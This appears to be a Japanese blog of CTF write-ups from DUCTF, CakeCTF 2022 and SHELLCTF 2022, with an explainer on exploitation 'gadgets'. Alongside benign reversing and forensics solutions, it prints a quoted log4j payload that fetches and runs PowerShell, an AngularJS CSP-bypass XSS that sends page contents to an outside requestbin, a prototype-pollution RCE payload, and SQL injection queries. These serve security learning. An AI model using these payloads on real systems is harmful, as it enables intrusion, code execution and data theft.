DUCTF{C_is_n0t_s0_f0r31gn_f0r_incr3d1bl3_pwn3rs}

[web] helicoptering

2つ.htaccessで制限されたディレクトリが与えられるのでうまくbypassして中身を見る問題。

  • /one/flag.txt
    • RewriteCond %{HTTP_HOST} !^localhost$が大事な部分
    • Host: localhostであればいいのでInterceptしてHostヘッダーをHost: localhostに書き換えれば開ける
    • DUCTF{thats_it_
  • /two/flag.txt
    • RewriteCond %{THE_REQUEST} flagにあるようにflagが含まれていると開けない
    • 検索すると色々出てくるがHubert Hackin'に書いてあることをすれば開ける
    • THE_REQUESTで持ってきた場合はリクエストの1行目がそのまま持ってこられる形になるみたいなので、flagの文字の一部分をパーセントエンコーディングしてやればbypass可能
    • /two/fla%67.txtにアクセスすればフラグが得られる
    • next_time_im_using_nginx}

よって

DUCTF{thats_it_next_time_im_using_nginx}

[DFIR] Shop-系問題

Shop-Knock Knock Knock

ログインブルートフォース攻撃者のIPを特定して、そのISPの連絡先メールアドレスを答える問題。

cat DownUnderShop.JSON | grep '"method": "POST' -A 1で眺めるとshop.downunderctf.com/loginというURLが気になる。

{
    "_time": "2021-01-01T09:49:12.000+0000",
    "origin": "101.183.127.167",
    "site": "shop.downunderctf.com",
    "method": "POST",
    "referer": "shop.downunderctf.com/login",
    "useragent": "Mozilla/5.0 (Windows NT 4.0) AppleWebKit/5351 (KHTML, like Gecko) Chrome/36.0.803.0 Mobile Safari/5351",
    "url": "shop.downunderctf.com/login",
    "logSource": "Http:Web"
}

これっぽい。適当にgrepしてoriginを見てみると58.164.62.91が一番多い
VTで検索してwhoisから適当にメールアドレスを持ってきて答えると思うのだが…
https://www.virustotal.com/gui/ip-address/58.164.62.91/details

ダメっぽいので別のところで探す。
https://ipinfo.io/AS1221/58.160.0.0/12-58.164.60.0/22 にあった abuse@telstra.net をこたえると答えだった。

Shop-Logging for what?

何か攻撃が成功したらしく、そのスクリプトを特定する問題。
継続して行われているlog4jの攻撃で気になるものがある。

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://41.108.181.141:5552/Basic/Command/Base64/cG93ZXJzaGVsbC5leGUgLWV4ZWMgYnlwYXNzIC1DICJJRVggKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vZG93bnVuZGVyY3RmLmNvbS9wVENOcDVwNkxQMGQ3cUE3N3l2YjRTSGY0MCcpOyI=

https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=Y0c5M1pYSnphR1ZzYkM1bGVHVWdMV1Y0WldNZ1lubHdZWE56SUMxRElDSkpSVmdnS0U1bGR5MVBZbXBsWTNRZ1RtVjBMbGRsWWtOc2FXVnVkQ2t1Ukc5M2JteHZZV1JUZEhKcGJtY29KMmgwZEhCek9pOHZaRzkzYm5WdVpHVnlZM1JtTG1OdmJTOXdWRU5PY0RWd05reFFNR1EzY1VFM04zbDJZalJUU0dZME1DY3BPeUk9

cyberchefでデコードすると

powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://downunderctf.com/pTCNp5p6LP0d7qA77yvb4SHf40');"

powershellスクリプトを動かすコードがある。
スクリプト名と言われれば「pTCNp5p6LP0d7qA77yvb4SHf40」っぽいので出すと正解。

Shop-I'm just looking!

脆弱性スキャンで使われたツールを特定してほしいという問題。
眺めると怪しいリクエストが飛んでいるのに気が付く。
以下のようにreferrerも無く、怪しいリクエストをたくさん飛ばしているログが残っているので、以下を参考に取り出してみる。

    "origin": "194.163.140.128",
    "site": "shop.downunderctf.com",
    "method": "GET",
    "referer": "null",

すると以下のようになる。

"url": "shop.downunderctf.com/wp-content/uploads/simple-file-list/nuclei.php",
"url": "shop.downunderctf.com/CFIDE/administrator/enter.cfm",
"url": "shop.downunderctf.com/cgi-bin/test/test.cgi",
"url": "shop.downunderctf.com/favicon.ico",
"url": "shop.downunderctf.com/nuclei.txt",
"url": "shop.downunderctf.com/wp-content/plugins/elementor/",
"url": "shop.downunderctf.com/zp-core/setup/index.php",
"url": "shop.downunderctf.com/wp-content/plugins/gtranslate/",
"url": "shop.downunderctf.com/include/nuclei.txt",
"url": "shop.downunderctf.com/pandora_console/mobile/",
"url": "shop.downunderctf.com/install.php",
"url": "shop.downunderctf.com/api/v4/projects",
"url": "shop.downunderctf.com/signup",
"url": "shop.downunderctf.com/metrics",
"url": "shop.downunderctf.com/MyErrors.log",
"url": "shop.downunderctf.com/error.log",
"url": "shop.downunderctf.com/npm-debug.log",
"url": "shop.downunderctf.com/production.log",
"url": "shop.downunderctf.com/plugin/build-metrics/getBuildStats?label=%22%3E%3Csvg%2Fonload%3Dalert(1337)%3E&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search",
"url": "shop.downunderctf.com/LetsEncrypt/Index?fileName=/etc/passwd",
"url": "shop.downunderctf.com/phpmyadmin/",

nucleiというワードがあるが、これがディレクトリスキャニングをしてくれるツール。
「nuclei」が答え。

Shop-Oi! Get out of there!

誰かが管理者アカウントへの侵入に成功したようで、旧パスワードを聞かれている。
passwordでgrepすると怪しいリクエストが出てくる。

"url": "shop.downunderctf.com/login?ref=M2RjOTE5ZGUxODZkMWE4ZWU2MmZmZjkyZDgwODM5Zjc6NmQ3YzViM2U3OTZkODMzYjNmZGQ0MGY0Y2U1N2ZhY2Q%3D",

https://gchq.github.io/CyberChef/#recipe=URL_Decode()From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=TTJSak9URTVaR1V4T0Raa01XRTRaV1UyTW1abVpqa3laRGd3T0RNNVpqYzZObVEzWXpWaU0yVTNPVFprT0RNellqTm1aR1EwTUdZMFkyVTFOMlpoWTJRJTNE

cyberchefを使ってエンコーディングを戻すとハッシュ値らしきものが出てくる。

3dc919de186d1a8ee62fff92d80839f7:6d7c5b3e796d833b3fdd40f4ce57facd

crackstationに通してみると、二番目がmd5(haxxor1)であると分かる。一応出してみるが違う。

3dc919de186d1a8ee62fff92d80839f7 Unknown Not found.
6d7c5b3e796d833b3fdd40f4ce57facd md5 haxxor1

crackstationではなくHashes.comを使ったら1つ目も戻せた。

https://hashes.com/en/decrypt/hash
3dc919de186d1a8ee62fff92d80839f7:ozzieozzieozzie

ozzieozzieozzieを答えると正解だった。

[DFIR] doxme

fileコマンドで確認してみるとoffice系ファイルみたい。

$ file doxme
doxme: Microsoft OOXML

oleほにゃらら系のツールを走らせたが特に何もなかったのでzipとして解凍してみるとフラグが書いてある画像ファイルが埋め込まれていた。

DUCTF{WOrd_D0Cs_Ar3_R34L1Y_W3ird}

[DFIR] ogres are like onions

とりあえずdiveを使ってレイヤーを見てみる。
dive downunderctf/onions

/app/memes/flag.jpgがあったみたいだが、消されている。
COPY . /appをしているレイヤーが「Id: 8ebc0cf8560da4fc3356bf3c640b4fcecd68bcbb55a4049b3bf92c」みたいなのでダンプして中身を見てみる。
docker save downunderctf/onions > dumped.tarで該当IDのフォルダにあるlayer.tarの中身を見てみるとフラグが書かれたファイルがおいてある。

DUCTF{P33L_B4CK_TH3_L4Y3RS}

セキュリティにおける"gadget"とは何なのか?

CTFのWriteup、もしくは、セキュリティ関連の解説において"gadget"という言葉が出てくることがある。
ググラビティが低いために思ったような情報が出てこなかったり、gadgetは攻撃の一部で利用されることもあってフィーチャーされないといったことがあるので、
これから勉強する人のためにまとめておく。
概念的な話になるので、なるべく同じ内容を複数回、別のアプローチで説明していくことを心掛ける。
なお、CTFではpwnとwebでしか出てこない。
入門者向きではないが、中級者いかないくらいの難易度の記事だと思う。

"gadget"

日本語でガジェットと言うと、便利な小物家電みたいなイメージがあるが、おおよそそのようなイメージで問題ない。
「便利」で「小さい、もしくは、欠片」なものである。
加えて、セキュリティにおけるgadgetで重要な要素として「攻撃先の環境に存在する」という要素があげられる。

ふんわりしているので、セキュリティにおけるgadgetの意味する所を明言しておこう。

セキュリティにおけるgadget
攻撃先の環境に存在して、攻撃の過程で便利に使える、とあるパーツのこと

「とあるパーツ」ってなんだ!!!
ごもっとも。
例示をしながら説明していく。

pwn -> webの順で説明をしているが、得意なジャンルに応じてwebから読んでも問題ない。

[pwn] Return-Oriented Programming

pwnをやっている人からするとROPでgadgetという言葉を見ると思う。
この記事で説明しようとしている概念になぜgadgetという言葉が割り当てられているのか起源を見つけることはできなかったが、
ROPのwikipediaにgadgetについて書かれているのが確認できる。

Return-oriented programming - Wikipedia

ROPはバイナリに既に存在するコードの断片を組み合わせることで意図した処理を実行するテクニックのことである。
例えば、バイナリにpop rdi; retという命令列の断片があれば、これを利用することで関数呼び出しの第一引数を指定することができる。
この時のpop rdi; retがgadgetである。

gadgetは基本的には攻撃の1パーツとして使われる。
例えばバッファーオーバーフロー脆弱性が見つかったとして、そこから攻撃を前進させたいとする。
RCEにつなげるために、何か「攻撃先の環境に存在して、攻撃の過程で便利に使える、とあるパーツ」がないかなーと探すとpop rdi; retが見つかる。
このgadgetをうまく使うことで関数呼び出しを行うことができるようになり、最終的にRCE達成できる。

こういった1パーツをgadgetと呼ぶ。

[pwn] one-gadget RCE

仮想関数テーブル、one-gadget RCE、glibc 2.31 - Qiita

特定のレジスタ状態を満たす場合に、glibcの特定のアドレスに制御を移してシェルを起動させるテク。
これも「攻撃先の環境に存在して、攻撃の過程で便利に使える、とあるパーツ」がglibcにあって、うまく使うという話。

[web] Prototype Pollution

javascriptにはPrototype Pollutionという脆弱性がある。
これはjavascriptのプロトタイプチェーンの機能に起因して引き起こされる脆弱性である。エッセンスを抽出すると以下のような形となる。

user = {};
other = {};
// 存在しないフィールド
console.log(user.isAdmin); // undefined
// Prototype Pollution
input1 = '__proto__';
input2 = 'isAdmin';
input3 = 'true';
other[input1][input2] = input3;
// なぜか存在している!
console.log(user.isAdmin); // true

other[input1][input2] = input3;が重要な部分で、どこでもいいのでこのような場所があると任意の未定義のフィールドを設定することができる。
Prototype Pollutionの重要な部分として、脆弱性を使ってできることは「任意の未定義のフィールドを設定すること」までであるということである。
攻撃を進めるためには、これを使ってさらに何かを発動させる必要がある。
それっぽく言うと、この脆弱性を悪用できる「攻撃先の環境に存在して、攻撃の過程で便利に使える、とあるパーツ」が無いかなーという話になる。
もっとそれっぽく言うと、なんか使えるgadget無いかなーという感じ。

Prototype Pollution to RCE

色々紹介されている。RCEに限らず、本当に色々なことを引き起こすことができる。
forkの例を説明する。

const { fork } = require('child_process');
var proc = fork('something');

どこでもいいので、上記のようなforkを呼び出す箇所があったとする。
このときにprototype pollutionで

b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

のように未定義のフィールドを用意して、その後にforkを呼び出す箇所を通るようなAPIなどを実行すると、定義されたフィールドを参照して、任意コード実行が達成できる。
この場合では、「Prototype Pollutionがあるので、gadgetとしてfork関数を使ってRCE達成した」みたいな説明の仕方になると思う。

gadgetとして使えるものはたくさん発見されている。
BlackFan/client-side-prototype-pollution: Prototype Pollution and useful Script Gadgets (クライアントサイドのものですが)

Prototype Pollutionの問題ではgadgetを探すことを要求されるものもある。
CakeCTF 2022を開催しました - CTFするぞ (記憶に新しいCakeCTF 2022のPanda Memo)

[web] Insecure Deserialization

外部からデシリアライズするデータを渡せるとき、任意のクラスの任意の状態のインスタンスを作成するテク。
詳しくは安全でないデシリアライゼーション(Insecure Deserialization)入門 | 徳丸浩の日記
単純にunserialize($_COOKIE['FOO']);みたいな形になっていると任意の入力がデシリアライズされて、いかにも危ないよねみたいな感じ。

これも、任意のクラスの任意の状態のインスタンスが作成できるまでの脆弱性なので、これを利用して攻撃を進める必要がある。
つまり、「攻撃先の環境に存在して、攻撃の過程で便利に使える、とあるパーツ」として使える任意のクラスや特定の状態というのを探す必要がある。
あえて言うとgadgetが必要になる。

使えるgadgetは言語ごとにレポジトリがある。

どれでも共通なのだが、有名な脆弱なライブラリが既に使われている場合にそのライブラリの特定クラスを特定の状態にしたインスタンスシリアライズして、送り込むことでRCEまで持って行ける。

[web] Breaking XSS mitigations via Script Gadgets

black hatで講演されたタイトルそのまま。
Script Gadgetsのデモを作成してみた. 2019年1月にOWASP Kansai スクールキャラバン2019… | by Yuji Yamasaki | inet-lab | Medium
日本語で解説されているものがあるのでそっちを読んでもいい。

今までとは違って他の脆弱性先行な感じではなく、「攻撃先の環境に存在して、攻撃の過程で便利に使える、とあるパーツ」が最初に来ているような使い方。
gadgetはスラング的な感じだと思っているので、みんな思い思いに使っているんだと思う。

[おまけ] gadget chain

ROP chainとかgadget chainとか、この辺はchainという言葉がよく一緒に使われる。
これは特定の脆弱性から攻撃を前進させるために他のgadgetにchainさせて(連携させて)いくということを言いたいのだと推測される。

gadget chainって言葉の響きがかっこいいから使われてるだけだと思う。
「Insecure Deserializationと古いLaravelがあるから、gadget chainでRCEできそう」みたいなかっこいい文章が作れます。

gadget chainって2ホップすることあるんかな?
Insecure Deserialization -> gadget1 -> gadget2 -> RCEみたいな。
無理矢理やればできなくはなさそうだけど、それっぽいシナリオ作れるんでしょうか。どうなんでしょう。

終わりに

gadgetという言葉はおそらく雰囲気で生まれた言葉なので、雰囲気で理解しておくのがいいと思う。

多分みんな正確な定義は知らない。
俺だけじゃないよね。
多分ね。

CakeCTF 2022 Writeups

[rev] nimrev

ghidraで開いてCのコードを追っていく。
NimMainという関数があり、問題名を見ても、nimで書かれているのが分かる。
それっぽく処理を追っていくとNimMainModule関数にメインロジックがある。
変数名をちょっと読みやすく変えるとこのような感じになっている。

input = readLine_systemZio_271(stdin);
encoded = (undefined8 *)newSeq(NTIseqLcharT__lBgZ7a89beZGYPl8PiANMTA_,0x18);
*(undefined *)(encoded + 2) = 0xbc;
*(undefined *)((long)encoded + 0x11) = 0x9e;
*(undefined *)((long)encoded + 0x12) = 0x94;
*(undefined *)((long)encoded + 0x13) = 0x9a;
*(undefined *)((long)encoded + 0x14) = 0xbc;
*(undefined *)((long)encoded + 0x15) = 0xab;
*(undefined *)((long)encoded + 0x16) = 0xb9;
*(undefined *)((long)encoded + 0x17) = 0x84;
*(undefined *)(encoded + 3) = 0x8c;
*(undefined *)((long)encoded + 0x19) = 0xcf;
*(undefined *)((long)encoded + 0x1a) = 0x92;
*(undefined *)((long)encoded + 0x1b) = 0xcc;
*(undefined *)((long)encoded + 0x1c) = 0x8b;
*(undefined *)((long)encoded + 0x1d) = 0xce;
*(undefined *)((long)encoded + 0x1e) = 0x92;
*(undefined *)((long)encoded + 0x1f) = 0xcc;
*(undefined *)(encoded + 4) = 0x8c;
*(undefined *)((long)encoded + 0x21) = 0xa0;
*(undefined *)((long)encoded + 0x22) = 0x91;
*(undefined *)((long)encoded + 0x23) = 0xcf;
*(undefined *)((long)encoded + 0x24) = 0x8b;
*(undefined *)((long)encoded + 0x25) = 0xa0;
*(undefined *)((long)encoded + 0x26) = 0xbc;
*(undefined *)((long)encoded + 0x27) = 0x82;
nimZeroMem(&local_28,0x10);
local_28 = colonanonymous__main_7;
local_20 = 0;
if (encoded == (undefined8 *)0x0) {
    flag = 0;
}
else {
    flag = *encoded;
}
encoded = (undefined8 *)map_main_11(encoded + 2,flag,colonanonymous__main_7,0);
if (encoded == (undefined8 *)0x0) {
    flag = 0;
}
else {
    flag = *encoded;
}
flag = join_main_42(encoded + 2,flag,0);
cVar1 = eqStrings(input,flag);

inputとflagを比較しているが、map_main_11というので何か処理がなされている。
colonanonymous__main_7関数を見ると

byte colonanonymous__main_7(byte param_1)
{
  return ~param_1;
}

といった感じなので、bit演算の否定を行っている。配列に代入されているバイト列の否定を取ってasciiに戻すとフラグが得られる。

https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')NOT()&input=ICAweGJjCiAgMHg5ZQogIDB4OTQKICAweDlhCiAgMHhiYwogIDB4YWIKICAweGI5CiAgMHg4NAogIDB4OGMKICAweGNmCiAgMHg5MgogIDB4Y2MKICAweDhiCiAgMHhjZQogIDB4OTIKICAweGNjCiAgMHg4YwogIDB4YTAKICAweDkxCiAgMHhjZgogIDB4OGIKICAweGEwCiAgMHhiYwogIDB4ODI

CakeCTF{s0m3t1m3s_n0t_C}

[web] CakeGEAR

godmodeといういらないだろうという機能があるのでそのあたりを攻めることにする。
$_SERVER['REMOTE_ADDR']を攻略するのは難しそうだが…

優しいことに最小限のコードになっているのでgodmode関連経路にある要素からキーワードを抜き出して「php キーワード danger」でググっていくとswitchで良さそうなものが見つかる。
php switch danger - Google 検索
switchの時の比較は弱い比較になるのか。
ここに比較表があるので、眺めるとtrue == 文字列はTRUEになるらしい。
通信をInterceptして{"username":true,"password":"iamgod"}と送ってやるとフラグが手に入る。

CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP}

[web] OpenBio

default-src 'none';
script-src 'nonce-73UwuQMY1nto6Bwzy3IhYA==' https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';
style-src https://cdn.jsdelivr.net/;
frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;
base-uri 'none';
connect-src 'self';

以上のようなCSPがかけられている。
https://csp-evaluator.withgoogle.com/ に通す。

script-src
Host whitelists can frequently be bypassed. Consider using 'strict-dynamic' in combination with CSP nonces or hashes.
Consider adding 'unsafe-inline' (ignored by browsers supporting nonces/hashes) to be backward compatible with older browsers.
https://cdn.jsdelivr.net/
cdn.jsdelivr.net is known to host Angular libraries which allow to bypass this CSP.

AngularによるCSPバイパスが行えるようだ。
https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass
にあるpayloadを試すと、アラートが出てくる。

<script src="https://cdn.jsdelivr.net/angularjs/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>

管理者ユーザー名が抜き出せてくれば良さそうなので、取得して送る方針で考える。
connect-src 'self';があるので適当に外部に送ることはできないが、XMLHttpRequestで取得してきて、locationの遷移で外部に送る方針が使える。
これを踏ませて、ユーザー名を取得する。

<script src="https://cdn.jsdelivr.net/angularjs/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };var xhr = new XMLHttpRequest();xhr.open(`GET`,`http://challenge:8080/`);
xhr.onload = function() {
    location=`https://[requestbin]/get?${encodeURI(xhr.response)}`;
};
xhr.send();
//');}} </div>

踏ませるときに/profile/usernameを経由すると思うが、上のexploitコードが邪魔でreportが押せなかった。
interceptしてexploitコードを削除したうえで表示してreportすると良い。
あとは、titleタグを見ればユーザー名が分かるので/profile/入手ユーザー名を開けばフラグが得られる。

CakeCTF{httponly=true_d03s_n0t_pr0t3ct_U_1n_m4ny_c4s3s!}

SHELLCTF 2022 Writeups

[crypto] OX9OR2

フラグに9文字の鍵をXORしたものがencryptedとして与えられる。

encryptedにとりあえずSHELL{???を鍵として渡してみるとXORISC(@!T6DZM.&.!>6UI,Eと出てくる。
鍵の先頭はXORISCのようだ。

XORISC???を改めて鍵にしてみる。
SHELL{(@!_1S_R3&.!51BL3}
んー微妙にわからん。

xor is coolかなーと鍵を推測すると一発で当たった。
XORISCOOLを鍵にするとフラグが得られる。

SHELL{X0R_1S_R3VeR51BL3}

[forensic] Alien Communication

音声ファイルが渡される。
いつものようにSonic Visualiserでスペクトラム画像を表示するとフラグが書いてある。

shell{y0u_g07_7h3_f1ag}

[forensic] Heaven

青い空を見上げればいつもそこに白い猫を起動してステガノグラフィー解析を眺める。
RGBのビット7を見てみると左上に謎の点々が見られる。
RGBの最上位ビットに何か情報が埋め込まれているようだ。

ステガノグラフィー解析のビット抽出を押して、RGBのビット7にチェックを入れて、バイナリデータ表示をするとフラグが出てくる。
テキストのみ表示にチェックを入れるとコピーしやすい。

SHELL{man1pul4t1ng_w1th_31ts_15_3A5y}

[forensic] Hidden File

Hidden.jpgが与えられる。色々試すと以下で有益情報が得られる。

$ exiftool Hidden.jpg 
ExifTool Version Number         : 12.44
File Name                       : Hidden.jpg
Directory                       : .
File Size                       : 2.1 MB
File Modification Date/Time     : 2022:08:14 01:35:19+09:00
File Access Date/Time           : 2022:08:14 01:37:04+09:00
File Inode Change Date/Time     : 2022:08:14 01:35:19+09:00
File Permissions                : -rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 72
Y Resolution                    : 72
Exif Byte Order                 : Big-endian (Motorola, MM)
Make                            : the password is shell;
Artist                          : the password is shell
XP Author                       : the password is shell
Padding                         : (Binary data 2060 bytes, use -b option to extract)
About                           : uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b
Creator                         : the password is shell
Image Width                     : 3000
Image Height                    : 4500
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 3000x4500
Megapixels                      : 13.5

パスワードはshellらしい。steghideでファイルをダンプしてみると成功する。

$ steghide extract -sf Hidden.jpg -p shell -xf out
wrote extracted data to "out".

$ file out
out: Zip archive data, at least v2.0 to extract, compression method=deflate

$ 7z x out

flag.zip, se3cretf1l3.pdf, something.jpgが手に入る。
something.jpgがQRコードだけれど、そのまま読むといつものyoutube動画。
pdf解析をしていくと、文字起こしでいい感じの情報が手に入る。

$ pdf2txt.py se3cretf1l3.pdf
Never gonna give you up 
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry
Never gonna say goodbye 
Never gonna tell a lie and hurt you
key is shellctf

shellctfでflag.zipを解凍するとflag.txtが入っておりフラグ獲得。

shell{y0u_g07_th3_flag_N1c3!}

[misc] World's Greatest Detective

謎の暗号文のような画像が与えられる。
特殊なフォントを使っていると推測して、Font Finder 🔎 by What Font Isで検索。
Modern Wakandan Regular WebFont - FFonts.net
このフォントであると特定できた。
あとは、対応表を見ながらデコードしていく。

SHELLCTF{W4kandA_F0rev3r}

[rev] How to defeat a dragon

ghidraに食わせるとmain関数で何かが成功するとlocal_78が表示される。

  local_78 = 0x4654434c4c454853;
  local_70 = 0x343534383433357b;
  local_68 = 0x3434353334633463;
  local_60 = 0x3535333133623736;
  local_58 = 0x3336373333323566;
  local_50 = 0x3631333533323733;
  local_48 = 0x3333336635373665;
  local_40 = 0x3766333937333734;
  local_38 = 0x7d64;

トルエンディアンで格納されてるので全部逆にして結合してhex to stringsするとフラグが出てくる。

SHELLCTF{5348454c4c4354467b31355f523376337235316e675f333473793f7d}

incorrectだった…波かっこの中身を改めてhex to stringsするともう一個フラグが出てくる。

SHELLCTF{15_R3v3r51ng_34sy?}

[rev] Keygen

ghidraで解析すると認証に成功するとgetString関数が呼ばれて何かが帰ってくるようだ。
直接getString関数の中身を見るとバイト列が返されるので持ってきて、CyberChefに食わせてフラグを得る

SHELLCTF{k3ygen_1s_c0oL}

[rev] Pulling the strings

ghidraに食わせるとmain関数にflagという変数があり、そこを参照するとフラグが格納されている。

SHELLCTF{Th4nks_f0r_the_food}

[rev] warmup

ghidraに食わせてmain関数を見る。
用意された変数に対して右に2つビットシフトして比較をしている。
コードを複製して、右に2つビットシフトしたものを文字列として出力してみよう。

#include <stdio.h>

int main(void) {
    int local_a8 [28];
    local_a8[0] = 0x1cc;
    local_a8[1] = 0x1a0;
    local_a8[2] = 0x194;
    local_a8[3] = 0x1b0;
    local_a8[4] = 0x1b0;
    local_a8[5] = 0x18c;
    local_a8[6] = 0x1d0;
    local_a8[7] = 0x198;
    local_a8[8] = 0x1ec;
    local_a8[9] = 0x188;
    local_a8[10] = 0xc4;
    local_a8[11] = 0x1d0;
    local_a8[12] = 0x15c;
    local_a8[13] = 0x1a4;
    local_a8[14] = 0xd4;
    local_a8[15] = 0x194;
    local_a8[16] = 0x17c;
    local_a8[17] = 0xc0;
    local_a8[18] = 0x1c0;
    local_a8[19] = 0xcc;
    local_a8[20] = 0x1c8;
    local_a8[21] = 0x104;
    local_a8[22] = 0x1d0;
    local_a8[23] = 0xc0;
    local_a8[24] = 0x1c8;
    local_a8[25] = 0x14c;
    local_a8[26] = 50;
    for (int local_ac = 0; local_ac < 0x1b; local_ac = local_ac + 1) {
        printf("%c", local_a8[local_ac] >> 2);
    }
    return 0;
}

これを実行するとshellctf{b1tWi5e_0p3rAt0rSと出力される。最後にカッコを補ったらフラグになる。

shellctf{b1tWi5e_0p3rAt0rS}

[web] Colour Cookie

/static/base_cookie.cssの末尾に/* name="C0loR" */と不穏なコメントがある。
フォームに名前を入れても応答が変わらないのでコメントにあるようにC0loRにしてみるが…何も起きないな。

ヒントが追加されたので見てみる
The key is finding and value is the favourite thing....

はー

GET /check?name=&C0loR=Blue

shellctf{C0ooooK13_W17h_c0ooorr3c7_Parr4m37er...}

[web] Extractor

なんか、guessすぎるweb問が多かったので初手ヒントを見た。
a sample query :- username' union select 1,(SELECT group_concat(sql) FROM sqlite_master),3,4;--
だいぶ優しいヒントだった…
これは頑張ればよかったな。

GET /profile?username=username%27+union+select+1%2Csqlite_version%28%29%2C3%2C4%3B--&pass=&content=
のようにするとsqliteのバージョンが出てくる。
つまりusernameにSQL Injectionの脆弱性がある。

usernameにusername' union select 1,(SELECT group_concat(sql) FROM sqlite_master),3,4;--とする。

CREATE TABLE Admins ( 
    id INTEGER PRIMARY KEY AUTOINCREMENT, 
    user TEXT NOT NULL, 
    pass TEXT NOT NULL, 
    content TEXT NOT NULL
),
CREATE TABLE sqlite_sequence(name,seq),
CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT, 
    user TEXT NOT NULL,
    pass TEXT NOT NULL, 
    content TEXT NOT NULL
)

いい感じにテーブル情報が抜けてきた。Adminsテーブルを抜こう。

username' union select id,user,pass,content from Admins;--でフラグが得られた。

shellctf{Sql_1Nj3c7i0n_B45iC_XD}